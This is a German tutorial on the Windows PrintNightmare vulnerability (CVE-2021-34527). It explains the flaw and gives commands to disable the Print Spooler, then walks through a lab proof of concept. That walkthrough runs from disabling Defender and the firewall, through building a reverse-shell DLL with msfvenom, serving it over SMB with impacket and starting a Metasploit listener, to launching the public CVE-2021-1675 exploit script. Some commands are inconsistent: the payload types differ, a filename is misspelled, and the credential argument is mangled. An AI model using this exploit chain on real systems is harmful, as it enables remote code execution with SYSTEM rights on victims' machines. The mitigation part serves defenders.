Aus aktuellem Anlass soll an dieser Stelle die jüngste Sicherheitsschwachstelle für Microsoft Betriebssysteme ab der Version 7 naher erläutert werden. Die Schwachstelle besitzt die Bezeichnung PrintNightmare und die CVE Kennung CVE-2021-34527. Zwar wurde seitens Microsoft ein Update bereitgestellt, allerdings gilt es zu beachten, dass dieses Update die Schwachstelle nicht schließt. Ein Exploit ist damit weiherhin möglich.
Grundsätzlich nutzt die Schwachstelle die Tatsache aus, dass ein authentifizierter Benutzer die Funktion RpcAddPrinterDriverEx() aufrufen kann und zusätzlich in die Lage versetzt wird, eine Treiberdatei anzugeben, die sich auf einem Remote Server befindet. Damit ist es möglich, dass die Druckerverwaltungssoftware spoolsv.exe im Anschluss eine beliebige .dll Datei mit Administrator Rechten ausführen kann (Remote Code Execution). Microsoft gibt in einer Erklärung bekannt, dass ein Angreifer, welcher diese Sicherheitslücke erfolgreich für seine Zwecke ausnutzen, auch Programme nachladen, Dateien anzeigen, ändern und löschen kann.
Die spoolsv.exe ist ein nativer Windows System Dienst der standardmäßig aktiviert ist, allerdings keine systemkritischen Abhängigkeiten besitzt. So ist es nicht verwunderlich, dass Microsoft Anwendern rät, den Windows Print SpoolerDienst auf ihren Rechnern zu deaktivieren. Das gilt auch dann, wenn bereits die zur Verfügung gestellten Patches installiert wurden. Um den Print Spooler zu deaktivieren geht man wie folgt vor:
1) Eingabe des Befehls "powershell" in die Suchleiste und anschließende Ausführung als Administrator
2) Am Command Prompt wird nun folgender Befehl ausgeführt:
Stop-Service -Name Spooler -Force
3) Um nach einem Neustart die erneute Aktivierung des PrintSpoolers zu verhindern, brauchen wir folgenden Befehl:
Set-Service -Name Spooler -StartupType Disabled
Im weiteren Verlauf soll anhand der bereits im Internet zur Verfügung gestellten Literatur ein Proof of Concept (PoC) erstellt werden.
Vorbereitungen:
- Installation von Windows 10 und Kali Linux als VMs z.B. in VMware Workstation 16 Pro (Kali Linux unter VMware Workstation 16 Pro installieren)
- Windows 10 Defender ausschalten
- ggf. Windows 10 Firewall deaktivieren
- Windows SMB Service erreichbar machen
- Kali Linux per
apt-get update && apt-get upgrade
auf den neusten Stand bringen - Starten des Kali SMB Servers mit
service smbd start
undservice nmbd start
1) Zur Ermittlung der IP Adresse unseres Windows 10 Target Systems geben wir folgenden Befehl ein und setzen anschließend einen Ping ab:
ipconfig
ping [IP_target_maschine]
2) Nun testen wir, ob der betroffene Spooler Dienst aktiv ist:
net start spooler
3) Auf unserem Kali Linux System erstellen wir einen Ordner namens "share"
cd /
mkdir share
4) Zur Erzeugung des Payloads in Form einer kompromittieren .dll Windows Bibliotheksdatei, greifen wir auf msfvenom zurück. Dieses Tool ist Teil des Metasploit Frameworks und bereits vorinstalliert. Die Option -f gibt uns dabei das Ausgabeformat vor und die Option -p die Art des Payloads, in diesem Fall die Erzeugung einer Reverse Shell.
cd share
msfvenom -f dll -p windows/x64/shell_reverse_tcp LHOST=[IP_address_attacking_maschine] LPORT=443 -o reverse2.dll
5) Bevor wir fortfahren, installieren wir an dieser Stelle die Impacket Version mit den zugehörigen Netzwerkprotokollen zur Ausführung in Python. Dazu deinstallieren wir die vorherigen Versionen, kopieren die Ressource und wechseln ins Verzeichnis impacket. Schließlich starten wir das Installationsscript.
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
6) Die schnellste Methode zum Starten eines SMB Servers gelingt mit dem Impacket-SMB-Server und folgendem Befehl:
impacket-smbserver <sharename> '<path>'
impacket-smbserver share /share
7) Danach starten wir die msfconsole des Metasploit Frameworks und geben die folgenden Daten ein um unseren Listener auf Port 443 zu starten:
use multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST [IP_address_attacking_maschine]
set LPORT [443]
run
8) Im Anschluss starten wir unseren Exploit:
python3 CVE-2021-1675.py User:This email address is being protected from spambots. You need JavaScript enabled to view it. '\\192.168.207.128\share\revrese2.dll
9) Nachdem der Exploit gestartet wurde, erhalten wir unsere Reverse Shell:
Literatur:
https://github.com/cube0x0/CVE-2021-1675
https://www.youtube.com/watch?v=qU3vQ-B-FPY
https://www.youtube.com/watch?v=Iq3_hzRLBvI
https://www.thewindowsclub.com/enable-or-disable-print-spooler-service
https://www.huntress.com/blog/critical-vulnerability-printnightmare-exposes-windows-servers-to-remote-code-execution